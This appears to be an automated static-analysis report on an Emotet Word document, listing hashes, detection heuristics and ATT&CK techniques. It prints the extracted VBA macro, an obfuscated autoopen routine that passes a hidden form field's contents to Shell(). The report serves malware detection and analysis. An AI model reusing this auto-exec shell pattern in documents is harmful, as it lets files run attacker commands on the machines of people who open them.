Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 dca9c9feb8709cbc…

MALICIOUS

Office (OLE)

135.9 KB Created: 2018-12-19 13:24:00 Authoring application: Microsoft Office Word First seen: 2019-03-10
MD5: beaa79f8dea2ce4c7bb26f387e198617 SHA-1: f7e368b69c0d55d697ef7289048add9ce16ceda7 SHA-256: dca9c9feb8709cbcdf94268b37d61be3390aedbc64898830bcebc513c84e59ed
250 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The 'autoopen' macro triggers the execution of 'cmd.exe' via a Shell() call, which is indicative of downloading and executing a second-stage payload. ClamAV detection further confirms its malicious nature, identifying it as a variant of Emotet.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-6789247-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6789247-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
                  End Select
    M57097805 = Array(k82749097, F2286029, I21119073, Interaction.Shell(P383108942.TextBox1, 57 - 57), w977059613)
       Select Case Q822
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
    Sub autoopen()
    V0647527
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3466 bytes
SHA-256: ad81950f9f22d1642580b886d49a97a02c969a2f9052252198f55ff7a4263779
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "P383108942"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
V0647527
End Sub

Attribute VB_Name = "Y43575824"
Function V0647527()
On Error Resume Next
   Select Case X519
         Case 122092276
U945 = h335
            V956 = Tan(l203 - Round(J581) / 334586244 - Tan(q0727))
B163 = Z698
i4736 = Round(G8317 * Chr(120032450))
         Case 71397906
G4549 = h372
            U0837 = 148219679
L394 = k419
            w7779 = Round(H2021 + Tan(L4865 + Log(38657630) - T5773 / Hex(44285764)))
              End Select
   Select Case w596
         Case 31163500
b859 = z017
            j3051 = Tan(X7408 - Round(i8814) / 245717807 - Tan(E213))
i594 = I917
q655 = Round(z132 * Chr(57315258))
         Case 119634736
E7246 = a657
            r8712 = 180221759
F747 = J6956
            s028 = Round(R328 + Tan(f6262 + Log(212715232) - k7908 / Hex(312630891)))
              End Select
M57097805 = Array(k82749097, F2286029, I21119073, Interaction.Shell(P383108942.TextBox1, 57 - 57), w977059613)
   Select Case Q822
         Case 328217375
c095 = B3733
            Z7098 = Tan(v4275 - Round(a324) / 28694271 - Tan(i2390))
S1540 = J944
D766 = Round(M9962 * Chr(199742882))
         Case 102990156
q721 = A5781
            i365 = 276396636
f122 = m617
            U1488 = Round(N6322 + Tan(P054 + Log(215655274) - w875 / Hex(3657118)))
              End Select
End Function


Attribute VB_Name = "I18061011743"

Attribute VB_Name = "A12744838726203"

Attribute VB_Name = "P3363846"

Attribute VB_Name = "M99154177"

Attribute VB_Name = "m280329191"

Attribute VB_Name = "i10549381"

Attribute VB_Name = "T07731366762"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "v766325831598"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "c3613646299"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "c05817973"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "z17863544214122"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False